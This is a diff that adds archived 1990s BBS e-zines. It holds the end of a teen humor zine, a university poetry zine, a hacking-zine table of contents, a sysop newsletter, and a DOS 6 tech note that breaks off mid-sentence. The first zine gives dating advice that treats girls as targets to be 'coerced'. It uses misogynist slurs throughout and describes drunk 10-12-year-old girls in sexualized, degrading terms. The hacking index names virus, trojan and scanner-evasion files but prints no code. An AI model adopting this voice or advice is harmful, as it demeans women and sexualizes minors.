the possibility of getting a date + with a really great woman. + + THE LOGICAL PROCESSION + ---------------------- + + FIRST: Decide which you want.. a girl, or a woman. There ARE + differences. A _girl_ will not give head, usually. But she can be + coerced into going out, if you're suave enough (and older than she + is by a couple of years). And maybe you can work from there. + + A _woman_, however.. that's an entirely different story. If you go + out with a woman, she will not giggle when you make a humourous + aside.. she will laugh. And chances are, if she likes you enough, + you'll be twisting yourself into varied positions all night long, + and enjoying yourself the whole time. A woman can LAST all + night.. a girl, if she decides that you're "cool" enough, will + last for one bout of intercourse, missionary position only, and + then complain about how late it's getting, or will want to (God + forbid) cuddle. If a woman wants to cuddle.. you'll WANT to, as + well. They're that good. + + A word of warning.. some girls never grow up. They'll be girls + their entire life and will make whoever's fool enough to marry + them miserable to the point of suicide. Also be careful of women, + sometimes; it's entirely possible that you may fall in love with a + woman. This is never the case with a girl, because girls are too + flighty. If you do fall in love with a woman, and she returns + your love, celebrate. Do the Dance of Joy. If she doesn't, try + to forget her. And NEVER CONFUSE LOVE AND SEX. Sex does not + equal love. (although the confusion's fun for a bit.) + + SECOND: Pick the right places to go to meet someone. If you want + a nice girl, one you'll have no sexual contact with, go to church. + If you want a sweet girl who you can have good sex with and be in + love with and all.. let me know when you find a place you can meet + one of those. If you want a slut.. go to a bar, with a lot of + money to buy her a few drinks. We don't advise going with the + slut, mainly because you could end up with some horrible STD. + + THIRD: When you come in contact with the female of your choice, + be yourself. Don't come on like some cool-guy jock motherfucker + if you're not. If she's not impressed by you as you are, what + fucking good is she? + + FOURTH: Unless the female is obviously a slut, do not try + anything sexual on the first date. To attempt a kiss is + admirable. To ask for a blowjob or a fuck is not. They don't + like that very much, and if you try it, they certainly won't like + YOU very much. Be as much a gentleman as you can, and show her + that it's the jocks/other normals who are the Neanderthals. + + + HINTS THAT WILL KEEP YOU INTACT + ------------------------------- + + 1) Do NOT drop your standards for one SECOND. If you're looking + for a girl/woman who's slim, beautiful, sweet, etc., keep + looking for her. If you start looking at the girl you saw + when you came in that made you go, "There but for the grace of + God go I.." and thinking that she's not as bad as you + thought, remember: SHE IS! She was when you came in, she is + now, and you'll want to kill yourself if you wake up next to + her tomorrow morning. + + 2) Scope carefully for her possible male companion. It can be a + real damper on things if you approach a really great woman and + start talking, when some caveman wearing a letter jacket from + his high school glory days taps you on the shoulder and uses + his steroids-enhanced strength to beat you senseless. Always + look carefully before you leap, and make sure there's no other + guys hanging around her. Of course, if there are, it may be + her brother, which would be just as bad if he's + overprotective. Or if THEY'RE fucking (only applicable to + really remote parts of the States). + + 3) Protection. Although this has been OVER-stressed by the media + and anyone else who has no business knowing your business, we + suggest that you take precautions to keep from living in fear + of dying. + + + REJECTION AND HOW TO DEAL WITH IT + --------------------------------- + + Okay, first thing.. rejection REALLY sucks. Especially if she's + hot. But that's beside the point. + + How to handle rejection varies, depending on your location. If + you're in church, for instance, you could simply say, "The Lord + has not led our paths to cross one another." If that response + makes you ill, we'll use another example. In a bar, you could + always just say, "Okay, cool," nodding your head slowly. Then + walk away. + + Truth is, it varies from person to person. I handle it with + humor. Other people handle it with cruelty and personal attacks. + The less imaginative of the latter group frequently use "Fuck + you!" as a comeback. The more imaginative would simply go up to + anyone else trying to hit on her and mumble something about her + sexual preference/sexual history. Be creative. + + + DO OPPOSITES ATTRACT? + --------------------- + + Fuck, I don't know. Sometimes. Two people who are called + "opposites" aren't entirely opposite. They could have a favorite + movie in common, or a favorite album/type of music, or something. + (I have yet to meet a female who's heard of Big Black by her own + investigation, rather than having one of her ex-boyfriends + introduce her. But that's just my experience.) + + + WHAT HAVE WE LEARNED? + --------------------- + + Basically, be yourself and you'll do fine. if anyone has a + problem with you being who you are, tell them to fuck off. Stick + with your standards, don't hit on a girl whose boyfriend is + standing right next to her, and don't forget those little magic + prophylactics. + + + +----------------------- +2.11 Mini-Slam List +----------------------- + + Decided there wasn't much to slam on except things we REALLY hate. + here goes: + + My supreme bitch of an ex-girlfriend, who's one of those church + christians and, for that reason, is REALLY stupid + + [yes, that was mine. - ed.] + + argh! no more wannabe punks who think pearl jam = punk! death to + all of them! + + the area mentality which drives us to believe we must slam on + ANYTHING + + times that you just can't think of anything REALLY good to slam on + +-------------------- +2.12 damn junies +-------------------- + + okay, i used to work for a dj, selling tickets. now at one dance, + we had 200 people, (i counted) 61 of which were junior highs. i was + pretty drunk at the time, but shit.. these guys were roasted. this + one girl (they were _all_ girls) was about 4'8", maybe 80 pounds, + passed out in the main hallway. she had had a half a beer. the + police pulled 11 people out, all juniors for drinking. they puked on + the steps of the hall for 2 or 3 hours before getting the shit at home + (plus a handy 185$ fine) plus 6 or 7 _narc_ charges. while i spent + the entire night beside a cop, drunk as hell for the first 3 hours, + then refreshed in the washroom and drunk again... i had a damn lot of + beer - and i didn't get charged. or even got looked at funny. or + anything. but christ... they all smoke, they all drink... hell, people + said generation x was bad... this is generation degeneration. is their + quest to grow up while still immature, so impertinent that they can + only pick up on the bad habits? most of these 10-12 year olds, + promiscuous as hell, were all dressed like a pile of sluts. tight low + cut tops, super tight jeans, clear silk shirts, like hell - i don't + see people that desperate in high school, and i have seen some pretty + bad cases. + + more bitching by the bellboy of noize... + +------------- +2.13 Why? +------------- + + Following the recent, unintentional semi-sexist slant this 'zine + has taken in the past couple of articles (which is unusual.. I'm + just having a bad week) is this issue's "Why?", fielded by yours + truly, the editor: + + Q: Why do women seem so evil? + + A: (MS) Some are. Some just don't realize that lying to us isn't + cool. Some aren't at all. I'd like to meet one in that + latter category. It's pretty much just based on your + observations, and personal opinion, rather than a matter of + the woman actually being evil. However, most of the ones I + meet are REAL FUCKING BITCHES. + +------------------- +2.14 An Apology +------------------- + + I must apologize both to you, the reader, and to my fellow + contributors about my lack of strong contributions this issue. + Some really trippy shit's been going down, and I've been + distracted. Rest assured, next issue, I'll be my normal, ranting, + acerbic self again and you'll be howling just as much as you did + w/issue #1 and all of ANA. + +---------------------------------------------- +2.15 The Sonic Bellboy's canadian connexun +---------------------------------------------- + + Merry Fucking Christmas. This christmas i got a phone bill. it came + today. i can't wait for daddy to open it and ruin my christmas. you + see, it's over 300 dollars. i'm broke. damn. you see, in canada, + where the mighty Sonic one lives, everything costs a lot. well, for + christmas i want to get an axe, so i can axe murder my parents and + blame it on Iron Maiden. i think that that would be cool. The only + thing grease music is good for is as a fall music to blame things on. + !!! Friend update !!! well, it has been 3 months now, still no + friends. Heard a new band - Fl!pper... They are (like bodacious, man) + mildly "stimulating". very heavy. in canada the speed limit is 80 + km/h. have you ever driven that slow? i don't even have my licence + (and likely never will) and even i drive faster than that... damn + amish and those damn buggys always getting hit... + + i still don't see how you figure that the deal sisters are nice + looking :) + + [ Well, they are. - ed. (being petulant)] + + a fast list of things i hate: + + tori spelling + maximus bbs system + taco bell + virgin wool + syndicated television + PEOPLE WHO TYPE IN ALLCAPS + (BRANCH- why are new users inclined to type in allcaps? do you forget + all of the shit they forced into your head in english on your first + message? don't fucking yell or i will come and type in allcaps with a + big hammer on your head) + the fender guitar company + my toes + UNIX computers + egyptian currency + people who are anti-asian + + [ This almost went into the Slam list, but it fit better here. + I'm a purist, deal with it. - ed. ] + + Okay, thats all for the Sonic Bellboy for this edition of Canadian + connexshun. + +---------------------------------- +2.16 Well, G'Night, Everybody! +---------------------------------- + + Thanks for reading. Next issue: the return of my asshole + attitude. + + Nods again to Sonic Bellboy, whose material basically carried this + issue. I just wish calls to Canada didn't cost so fucking much. + + +-------------------------------------------------------------------------------- + + "Brother, you'd better get down on your knees and pay, + a thousand more fools are being born every fucking day." + - Bad Religion, "1,000 More Fools", _Suffer_ + +-------------------------------------------------------------------------------- diff --git a/textfiles.com/magazines/MISC/iface5 b/textfiles.com/magazines/MISC/iface5 new file mode 100644 index 00000000..35165b95 --- /dev/null +++ b/textfiles.com/magazines/MISC/iface5 @@ -0,0 +1,511 @@ + + + inter\face 5 + summer 1993 + +contributors: +(in random order) +Susan Bertot +Emily R. Novack +John Malboeuf +Ron MacLean +David Connolley +Nancy Dunlop +Michael Rae +Katie Yates +Benjamin H. Henry + + + +inter\face is. + +=========================================================================== + +inter\face 5 is published at the University of Albany, State University of +New York, down in the basement of the Humanities building. If you would +like any information, to contribute, or have any comments, e-mail to +bh4781@rachel.albany.edu. + +=========================================================================== + + +Benjamin H. Henry + +Aram Aram + +Aram Aram big-u-ity +wise -o- wizened +ample morph, sit you on +meta morph - for +silly frightened : tetra town +building blocks +a no mo in men si ty +am probable +invincible +about a ble +in tense +too. + +-------------------------------------------------------------------------- + +Spring '93 Collage + +1. An invisible man peers in, +offers his hand to shake, throttle, or excelerate to paced speeds, +raceway along city streets with postcard visions, +a woman with long hair smiling. + +2. My motor failed exhaustive tests, +emissions blurted out; the priest says, +holding a subscription, +at the stairs of the empire state building, +clutching a plastic model, +an exact duplicate in structure + +or taking elevators, their sliding doors +shutting, but the soft bumper and the button, +being pushed from some distant point... + +3. I immediately failed to notice that +screeching sound, a horrible sensation, +a plenty of thirst, succumbing, ending. + + +-------------------------------------------------------------------------- + + +July 18, 1993 + +And, today, if you must know, +I am tread: +Tracks behind wheels, +behind a cylinder rolling down +an inclined plane -- +I am a simple geometric figure, +drawn to perceive three dimensions +on flat paper -- +I am fixed in movement and time. + + +========================================================================== + + +Susan Bertot + +The Eucharist + +I. + +I am saved! +I am God +We are one +the blood I have drank +the wine flows within my veins +Drowning me in a sea of fumes + +II. + +Cannibalism's holy +Flesh tastes like bread +Toast would be nice +Red Blood toast +Where's the butter? +I want my country's cock +Blood is thick +I'd really like a cherry +coke +Get me one human +God gets hungry too. + +=========================================================================== + + +Emily R. Novack + +Reena + +now through recurrence +now through the long thin +hands +i +within + +seizures + +one woman I knew +raped, found behind +a store unconscious, +the water from the rafter dripping +long lines into +her face + +twenty three years old +coat covering up where +the skin shows +said she saw +the running water +the +swallowing whole +the +swallowing +of her image + + +--------------------------------------------------------------------------- + + +Towards + +you tell me +for years +I've longed for mountains + +for the feeling +of rising + +the flat land +agitated +by +wild +occurrence +and the smell +of dried flowers + +your pale hands +reach for copper +crosses +loose on blankets + +we've circled +these years- + a drawing open +of living things +and wounds + the smoke was clawing +from air +into air +and breaking +and +i said I've +lived like this +for so long now + +the injury accumulating +a long +throat +of beads + +shaking, + +hands in snow. + + +=========================================================================== + + +Nancy Dunlop + +from: From the Window + +"The divinities are the beckoning messengers of the godhead." (Heidegger) + + hers on small head bobbing + under big goddess-sky-dome + she is sapling: a happy + blockhead shaking her baby leaves + warmth of spring and new starts + ow! so much it hurts + how can the pavement hold such radiance? + has heaven become so encrusted with jewels + that they are dropping + at her feet? + + + each step a little giggle. + + +"Earth is the serving bearer." (Heidegger) + + and arches up her feet + the grasses its tentacles + its roots the cords to her belly + the tree of her uprooted + shaking its remnants of dirt + the tree of her striding + down this bright sidewalk + she's already shed her fruit + it straggles behind her on the pavement + a trail of seeds and cast-off reasons + limbs straining from force of new buds + she is so new her bark still gives to pressure + +"Now woman is neither closed nor open . . . form is never complete in her." +(Irigaray) + +and she is running through the forest she has chosen as her situation. +swathed in pre-raphelite fullness. hugged within her husk, within her moist +shell. and she is falling but the ground left her. she is rolling down moss +and spores. pulled toward this forest floor and veining as these leaves +around her. she is photosynthesis and arches toward the light. the tops of +the white pines. cathedral light in fractured colors. she is prismatic. +unfolds origami-like. like the finest tissue. she is her own envelope. +fool-hardy bride-of-air. bird fare. she could rise up. burst through upper +branches. thrust herself into being. or loll in wet leaves. little lute. +upon which strums celestial. + + +=========================================================================== + + +John Malboeuf + +Seen Your Dad on the Corner + + The broken man was wearing new blue/purple jeans and a white T-shirt +which had "i am in hell and i can live with it" written on the back in +green magic marker. He made his living selling toothpicks which he carved +as he walked through the streets during the day. When I first saw him this +morning, he had part of a tree branch under his arm and he was whittling at +it, leaving a trail of shavings behind on the sidewalk. Now, he was holding +a coffee can, which I guess was full of toothpicks, and he was stopped at +the corner and was looking at people walking by. + I started playing some rhythm, hoping people would give me enough +change to buy a bus ticket. I had made one buck fifty-two and had four +strings left on my guitar. + The broken man walked towards me slowly, nervous and listening to the +music. His face was smeared. He was angry. He took the change out of my +hat, replaced it with four thin six inch toothpicks. "I've seen sky," he +said to me. + "Then dance," I replied. "I would." + The broken man scowled. "I've seen sky," he said again, touched my +shoulder, paused to let me look into his smeared eyes, walked away. I was +hoping he would get hit by a car. + it was about time I got a move on, so I smashed what was left of my +guitar on the front stoop. Stones go through me. Catch, cut,, a tear. Right +down the middle. Why do you expect so much from me? Stones and candy carry +a punch. + Standing, you said you'd visit. Causing a stir, it was just me. I +noticed the blink of your eye, your sudden hesitation, your cut short stop +breath before you returned my look. We don't need to do this, we could +forget it or the reverse. Sunday, over at the stones, I met you on the +corner. The pavement was all that I could, see it. + So wait. Stones cut, through me, I let them. I can't stop them, it +isn't human. A sudden stop, change of key. A zone. + I tossed the toothpicks out into the street. It had rained the night +before, so they floated in a puddle. + + +=========================================================================== + + +Ron MacLean + +How to be Happy + + This year, she's decided to be happy. + She may not know what she wants, or how to get there, but she's +determined to accept the uncertainty that for years has depressed her. +Besides, she knows what she does not want. She's certain of that. She does +not want Ray. + Here are some of the things she does when she decides to be happy. + 1. Walk by the river. Afternoons, after work, for at least an hour, +she walks on a footpath that runs alongside the Charles River. She's lived +her life near water, and cultivates this connection now that she's decided +to be happy. Since water makes her happy, she walks by it, right next to +it, every day. What does not make her happy is the pollution, but the city +of Boston claims the river is being cleaned up, that the Charles Watershed +Authority is having an impact. Liz maintains hope by taking a water sample, +once a week, in a glass, and leaving it on a shelf in her kitchen, watching +to see what will settle to the bottom of the glass, how it will compare to +the previous week's sediment. The shelf is above the antique stove that +Ray, her former lover, had bought for her, the stove that she is always +threatening to get rid of. Because it reminds her of him. Because it leaks +gas sometimes. But it's such a beautiful stove. Irreplaceable. + 2. Read tabloids. Weekly World News is her favorite. Best covers, she +says. The photos are sometimes breathtaking, she says. A couple weeks ago +she showed one to her daughter Katie, about a bat child found in a cave in +South Dakota. A kid with fangs and pointy ears. She was right. The photo +was amazing. Airbrushed into a soft focus, the eerie child's open mouth and +sharp fangs dominating the page, eyes popped open. No hair anywhere on his +head. He demanded your attention. These tabloids are placed on the floor of +her second story bedroom, in a neat stack by the radiator, in the house +that she shares, most of the time, with Katie. It's okay to leave the +papers next to the radiator for now, because it's summer. The tabloids lay +under an article that Liz had clipped from The Boston Globe two weeks +before, headlined "4th slaying of lesbian reported in area," which +describes a stabbing in the Back bay, and which quotes a Boston detective +as saying that it's the fourth such murder in the past few months. There +are enough similarities in method that they are beginning to investigate +the possibility of a single killer, of a pattern. Liz has been unable to +dispose of the article. Each time she buys a tabloid, she lifts the article +off of the pile next to the radiator, places the new issue on top of the +old issue and then the article on top of the pile. + 3. Make collages. Pictures cut from magazines, newspapers. Abstract +geometric shapes cut from construction paper. Objects she finds in her +travels, the refuse from the worlds around her. Ticket stubs. Gum wrappers. +Lately, it has taken a new twist. Words. Phrases clipped from publications +have started to appear, rubber cemented over images on the cardboard. These +have begun to capture her interest. Reminding her of a game she and her +brother, Otis, used to play as children, where they would chose a word and +recite it, chant it, invoke it, over and over until it lost meaning, and +then keep going. Later that day, whenever one of them would use the word, +the other would laugh, at the joke they shared, at the new meanings it +hinted at that no one else suspected. Now, visually, Liz does this with +words, placing them alongside other words in unexpected combinations, +pasting them on magazine photos, over cutout cardboard shapes. She has +started to send these to Otis. It is a way of keeping in touch. + 4. Bake. She loves to make cookies, in her antique stove, but she +never eats them, so Katie ends up having to eat two dozen cookies, or +convince Liz to give some to friends. The numbers are escalating lately. +Even her friends are telling her they can't handle any more cookies. +They're starting to gain weight. Tell me about it, Katie says. Katie is +eleven, and mature for her age. The trouble is, Liz bakes really good +cookies. The successful recipes she keeps in a folder on the bookshelf. +There are many folders on the bookshelf. A folder of possible night courses +she might take, like the one in the Indian Cooking and Nutrition she just +signed up for. A folder of cover photos -- the really good ones -- from the +tabloids. A folder containing notes on her romantic relationships, and why +they ended. All part of an orderliness she's instituting into her life, +part of the same impulse that has led her to conclude, in the wake of Ray's +eviction, that what it really takes to be happy is to give up the +possibility of a relationship. + + +=========================================================================== + + +David Connolley + +Rampart reservoir pigs +play bluegrass +with dirty words +on a gray lake's +gravely shores. + +It is hard, +this kind of life + +water towers and skies, +the light of potatoes. Here we work. +We eat. +We starve. + + +=========================================================================== + + + +Michael Rae + +band names + +virtue and gender +naked melody + +the 4th husband +JOLLY AS A PEA + +with a wicked tongue +bullet the suicidal dog + +palemento bug +at the master's gate + +a urine sample +(stool). + + +=========================================================================== + + +Katie Yates + +Book Two had not the quality of beauty, was alone + +life in fragile water mockingbird and clam kneedeep with tounge burning +nothing admitted change +tones of memory all at once held on to : couldn't touch +you were this source of amazement to me : beauty & anger propelling +terse transience explains the force of interruption +playbill volkswagon tentless numbness as free to carry us +penniless you wander to me finally at ease with method +we can't obtain assurance nor the insular logics of love - +?great morning. sky down to field. there is nothing between us + +resolved as epithet +linger to wear longer + bright dales in lips + pocket-full-of-swim + Dive, she said & watch. + +re(scind) ~ god-wanted you nearer than this tin midnight +hope ^ dire to be remembered pose at brisk lake - STOP +the sake of brittlest limnia scurvia metal wilder wilder + beast past coming + +compelled by falling or awakening from a sleep more truthful than you are +separated into frames: tauto in - in toto - {{ vascular +limb in reflection - yours - take by Take - affirming +Covenant . envelope ^^ stasis . inside a mortal time + come to the defense + restricted by a memory + full-fold - quadrophenia + alert in most ways & dying + + +--------------------------------------------------------------------------- + + +Book Four (3) wash is to wain + less + u + n + l + e + s + s + strictness + w i s h + f + i + n + i + s + h + +able to touch lavender, could call out my name as loudly +in what we stole from you +in what we stole from the lovers +(scant blossoms with tremendous scent) + +found equaled mingling + circuits, frets - finger locks in our heads + cling is to fervor + is to happen is too good + + a choice + + religio/region + cum + un + do circumstance + / + one + thunderous + + secret + all secret matter came back for you + + to + + remember + + em: me. + + days before a Winter/close + friend of belittling syntax stung + + a Most equall = squall + (elle) + halcayon the brightest + diff --git a/textfiles.com/magazines/MISC/index b/textfiles.com/magazines/MISC/index new file mode 100644 index 00000000..57f6c8fa --- /dev/null +++ b/textfiles.com/magazines/MISC/index @@ -0,0 +1,49 @@ + Ü Ü Ü ÛÛÛÛÛÛÜ Ü ÛÛÛÛÛÛÜ + °°°° ß°°°° °°°° °°°° °°°° °°°°ß ß°°°° °°°°ß ß°°°° °°°°° °°°° + ±±±± ±±±± ±±±± ±±±± ±±±± ±±±± ±±±± ±±±± ±±±± ±±±±±± ±±±± + ²²²² ßßßß ²²²² ²²²² ²²²² ²²²² ßßßß ²²²² ²²²² ²²²²²²² ²²²² + ÛÛÛÛ ÛÛÛÛ ÛÛÛÛ ÛÛÛÛ ÛÛÛÛ ÛÛÛÛ ÛÛÛÛ ÛÛÛÛÛÛÛÛÜÛÛÛÛ + ß²²²²Ü ²²²² ²²²² ²²²² ²²²² ²²²² ²²²² ²²²²ß²²²²²²²² + ß±±±±Ü ±±±± ±±±± ±±±± ±±±± ±±±± ±±±± ±±±± ±±±±±±± + ß°°°°Ü °°°° °°°° °°°° °°°° °°°° °°°° °°°° °°°°°° + ß°°°°Ü Phreaking Hacking Virues Sex + ß°°°°Ü °°°° °°°° °°°° °°°° °°°° °°°° °°°° ß°°°° + ß±±±± ±±±± ±±±± ±±±± ±±±± ±±±± ±±±± ±±±± ±±±± + ÜÜÜÜ °°°° °°°° °°°° °°°° °°°° ÜÜÜÜ °°°° °°°° °°°° °°°° + ±±±± ±±±± ±±±± ±±±± ±±±± ±±±± ±±±± ±±±± ±±±± ±±±± ±±±± + ²²²²Ü ²²²² ²²²² ²²²²ÜÜÜÜÜÜ ²²²² ²²²²Ü ܲ²²² ²²²²Ü ܲ²²² ²²²² ²²²² + ßßÛÛÛÛÛÛßß ÛÛÛÛ ÛÛÛÛÛÛÛÛÛÛ ÛÛÛÛ ßßÛÛÛÛÛÛÛßß ßßÛÛÛÛÛÛÛßß ÛÛÛÛ ÛÛÛÛ +ÜÜÜÜÜÜÜÜÜ ÜÜÜÜÜÜÜÜÜ ÜÜÜÜÜ ÜÜÜÜÜÜÜÜÜÜ ÜÜÜÜÜÜÜÜÜÜÜÜ ÜÜÜÜÜÜÜÜÜÜÜÜÜ ÜÜÜÜÜÜ ÜÜÜÜÜÜ + ß²²±±°° ß °°±±²²ßܲ²±°°°±²²Üß±±°°°°±²²Üß²²±±°°°°±²²Üß²²±±°°°°±±²²Üß²²±°ß°±²²ß + ß²²±±°°°±±²²ß ²²±±°°Ü°°±±²² ±° ßß°±±²² ÜÜÜÜ ²±±°ÜÜÜÜÜ ß±°°°±ß + ß²²±±°±²ß ²²±±°°ß°°±±²² ±°ßß°±²²ß ²°±² ²±±°ßßßßß Ü±°°°±Ü + ß²°±ß ß²²±°°°±²²ßܲ±°°°°±²²Ü ²°±² ܲ±±°°°°±±²²ßܲ²±°Ü°±²²Ü +ß ßß ß ß ßßß ßßßß ßßßßß ßßßßßÛÛßßßßßß ßß ßßßß ßß ßßßßßßßßßßßß ßßßßßß ßßßßßß + + VORTEX IS EDITED BY: COLOSTOMY BAGBOY + Leave suggestions\Articles at: + THE VORTEX BBS 405.634.4866 + + + + + Title Author + ~~~~~ ~~~~~~ +000. VORTEX Editoral Shit *Colostomy Bagboy +001. Breaking and Entering *Chef Ansehl Ronygos +002. Phreaker's Glossary *Doctor Dissector & Live Wire +003. Virus Definitions *Jesus Slut Fucker +004. VORTEX Digest *Edited by Colostomy Bagboy +005. Passive Brutality *mahatma ghandi +006. List of Vx BBS's *ARiSToTLE +007. Statisical Analysis of Commerical Virus Collection *JSF and Friends + Files: + +Inside this issue of the Vortex are the following files: + +A_N_U_L.zip: mahatma ghandi's passive war dialer. +Tdoc1.doc: Trojan docs +Tdoc2.doc: More Trojan docs +Protexcm.zip: Shareware piece of shit that encrypts viruses to get past +scanners *ALL SCANNERS* + \ No newline at end of file diff --git a/textfiles.com/magazines/MISC/inews493.txt b/textfiles.com/magazines/MISC/inews493.txt new file mode 100644 index 00000000..a544ce0f --- /dev/null +++ b/textfiles.com/magazines/MISC/inews493.txt @@ -0,0 +1,644 @@ + Ö· Ö· + Öºº· Öºº· + ɺººº» ɺººº» + Öºººººººº· Öºººººººº· + Öɺººººººººººººº»»·ÒÖÉɺººººººººººººº» + ßßßßßßßßßßߺºßßßßßßßßßßßßßßßßßßߺºßßßßßßßßßßßßß + "BRIDGING THE GAP" + +---------------------------------------------------------------+ + Published by: Andrew Wyatt + NightSoft BBS (508) 760-2147 + ISG 91:91/0, FIDO 1:331/101 + Vol. 1 No. 4 (April 1993) + +-----------------------------------------------------------------+ + Published bimonthly by and for the Members of the International + Sysop's Guild. Copyright 1992, Andrew Wyatt All rights reserved. + Duplication and/or distribution permitted for noncommercial + purposes only. For use in other circumstances, please contact + Andrew Wyatt + + Paper price: . . . . . . . . . . . . . . . . . . . . $3.00 US + Electronic Price: . . . . . . . . . . . . . . . . . . . free! + + For more information about International Sysop's Guild refer to + the end of this Newsletters. + ------------------------------------------------------------------ + + ISGNews 1-4 Page 1 April 1993 + ----------------------------------------------------------------- + + Table of Contents + 1. EDITORIAL ( Andy's Rambling's ).......................... 2 + 2. New RC's : ............................................. 3 + 3. The BAck BOne ............................................ 5 + 4. Teen Sysops .............................................. 6 + 5. Dos 6 and DesqView........................................ 8 + 6. ISGNEWS INFORMATION.......................................13 + 7. The Echolist.isg .................................Attached + 8. BOARDWATCH NEWS .................................Attached + + + ISGnews 1-4 Page 2 1 Nov 1992 + + >>>>>>>>>>>>>>>>>>>>>> EDITORIAL <<<<<<<<<<<<<<<<<<<<<<<<< < + + My apologies for taking so long to get this issue out. + Over the past few months ISG had a few set backs. But I'm happy to say + we have over come them and set in motion a program that will out allow + this to happen again. + + Moderators: + + We could use moderators in some of the echo + get involved, also we would like to see a few echo's + from he MidWest and WestCoast + + + BBS TAX. + + The State of Florida is considering a BBS TAX of some kind . + Will some one down there dig up the info on this and send it + up to me along with the address of the Fl. State Senators and + Representatives. So we can start a letter writing campaign. + + If any other state is considering the same someone please inform + us... + + Attached to this months news is the BOARD WATCH news letter + normally I don't use other news letters , But this one contains + information that I thought was important to all sysop's. + + + ISGnews 1-4 Page 3 1 Nov 1992 + + Speaking of RC 'S : + + Aubry Presha The Dark Side of Town has taking over as RC for Region 218 + doing one hell of a job. + + Ron Bowden Home Net BBS in West Cajon valley Ca will take over as RC + for Region210 ( The West Coast ) + + Michel Barthelemy The SoftWare Motel Saint Firmin France the RC for + Region 220 also Michel will act as ZC for Zone 92 Europe. + + + National Mail Hub. + + The National Mail Distribution site is now 91:200/0 Largo Fl. + Mail Distribution Site North is now 91:200/261 Tisbury Ma. + Backup Mail Site 91:200/625 Cape Cod MA. + + Europe Mail Distribution Site 92:400/10 France + + + We need a Mid West Site and a West Coast Mail Site + + + + + ISGnews 1-4 Page 4 April 1993 + + Welcome new Node's: + + Welcome to the World of The International SysOp Guide ..!!! + Region - 218 + Aubrey Presha - 91:218/0 +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + I would just like to take a second in say that Region 218 is growing with + New Nodes And NETS .. + NET-100 Michael Brisbois 91:100/0 + ~~~ Ken Mohr 91:100/3 + ~~~ Paul Berniccni 91:100/4 + ~~~ Scott Williams 91:100/5 + +(NET-100) Michael Brisbois from The Python BBS 91:100/0 will oversee all NET + operations in seek out new nodes in the SOUTH-WEST part of Florida.. + Lets Welcome Michael Brisbois & the NEW NET to ISG !!! +============================================================================ +(NET-80) Lets Welcome Ray Newton to NET-80 , Ray is from New Port Richey + his system will be up from 20:00 to 08:00 until future notice from him , +Misty Base II returned online 03-19-93 from being down for about 1 month, so + we should be getting some more activity in the ADULT part of the ECHOs !! +============================================================================ +(NET-200) The BackBone 91:200/0 will soon be Gateing some ECHOS from Mustang INC. +(Home of Wildcat) soon as I can clear it with the Zone Council.. +============================================================================ +Thinking about starting a U.F.O ECHO ,there have been alot of talk and rumor +about the creatures so if you have any information regarding this ECHO please +contact 91:72/0 or 91:216/1 Andrew should have more about the ECHO +============================================================================ + MORE TO COME !!!! + + + ISGnews 1-4 Page 5 April 1993 + + + The BAck BOne + + I also will take this time to point out that we do have + a backbone (90:200/0) + + ---High speed mania + + Traffic is light, But if the other Regions would participate.... + Who know's what we could do.... + + + See Echolist.ISG for more information on the echo's.... + + + ISGnews 1-4 Page 6 April 1993 + + TEEN SYSOPS + + I've been following the discussion in the Fidonews about young sysop's + well I would like to put in my two cents. + + Here in Net 5 we have a few YOUNG sysop's, some have gone by the way side + but a few have remained, as far as I can tell, you would not know who was + a teen and who was not. With only one bad experience , his Dad pulled the + plug on his system. + + In general we do not ask the age of a sysop who wish's to join. I don't + think it's appropriate. Some of the teenager are really bright, and to avoid + them would be a loss to the network. + + I would think that a teen in front of a computer would be preferred + over a teen standing on a street corner looking for trouble. + + I would like to show one example, Our BackBone, when Aubry join ISG about + 6 months ago he was a teen, he ran the teen echo, went on to be NC for + Net 80 and now Rc for 218, and our Backbone, he has brought more people + into the Network then the old RC ever did.. setup nets and so.. + + As far as I'm concerned any TEEN sysop who wish's to join the ISG is + welcome to do so, and I'll use the energy and enthusiasm that come + with their youth... + + + + ISGnews 1-4 Page 7 April 1993 + + (50) 29 Mar 93 19:36:00 +By: ANDRE CAR, Over Board (91:5/201) +Re: at&t modem deal +------------------------------------------------------------ + AT&T Paradyne is offering everyone a limited time offer on + the same kind of modem that is being offered to sysops for + $222. Everyone has heard of AT&T, of course, and those of + you in commercial data communications have probably heard + of Paradyne over the last 10-15 years. I personally feel + this is the best modem available for the money anywhere in + the world right now for the money. Here is an overview of + their advertisement in PC COMPUTING (March 1993). + + AT&T DataPort/14.4 FAX modem + LIFETIME warranty (as in "the rest of your life") + OLI (Optical Line Interface) - beats all other modems + V.32bis (14400 BPS/BAUD rate), V.32, 2400, 1200, 300 baud + Group 3 FAX, Send & Receive 9600 BPS + V.42bis/MNP-5 data compression & error correction + Effective throughput up to 57,600 BPS + QuickLink II modem/FAX software included + CompuServe bonus kit worth $22.95 included + LIFETIME toll-free technical support + $289 internal, $299 external, plus $5/order shipping + 30-day MONEY BACK GUARANTEE + + OFFER ENDS April 30, 1993. They honor Visa, MC, American + Express, or you can arrange prepaid shipment with check or + money order. Call 1-800-554-4996, ext. 4804. Ordering + hours are Monday through Friday 9 a.m. to 8 p.m. EST, State + & Local taxes apply. + + + ISGnews 1-4 Page 8 April 1993 + +ID:D6 MS-DOS 6 and Quarterdeck Products +Quarterdeck Technical Note #166 +by Bill Burge +Last Revision: 31 March 1993 + +The information in this Technical Note assumes that you are using versions of +Quarterdeck products that are DOS 5 compatible: QEMM-386 ver 6.00 and later, +DESQview 2.40 and later, QRAM 2.0 and later, QEMM-50/60 6.00 and later, and +any version of DESQview/X. + + +1. Is Microsoft DOS 6 compatible with my Quarterdeck products? + +Absolutely! There is nothing in DOS 6 that poses any danger to your system or +the data stored in it due to the use of any Quarterdeck product. The +Microsoft DOS 6 README.TXT file states, in Section 6.10: "Quarterdeck's QEMM +memory manager is compatible with MS-DOS 6." In addition, there are no known +incompatibilities between MS DOS 6.0 and Quarterdeck's DESQview or DESQview/X +multitaskers. + + +2. As a QEMM-386 user, what information do I need to install Microsoft DOS 6? + +As a QEMM-386 user, the most important information that you can take with you +in the installation and configuration of Microsoft DOS 6 is the knowledge that +you are already running the most effective memory management system available +for the IBM-compatible computer. So, if you are already using QEMM: + + a. Run the SETUP program from the DOS 6 installation diskette and + follow the instructions on the screen. + + b. Install any of the new DOS 6 utilities that you desire. DOS 6 + provides you the opportunity to add virus protection and other + things to your configuration. Remember: the default installation + of DOS 6 installs only the MS Windows versions of these utilities; + you have to tell it to install the DOS versions as well. This is + done on the Utilities screen 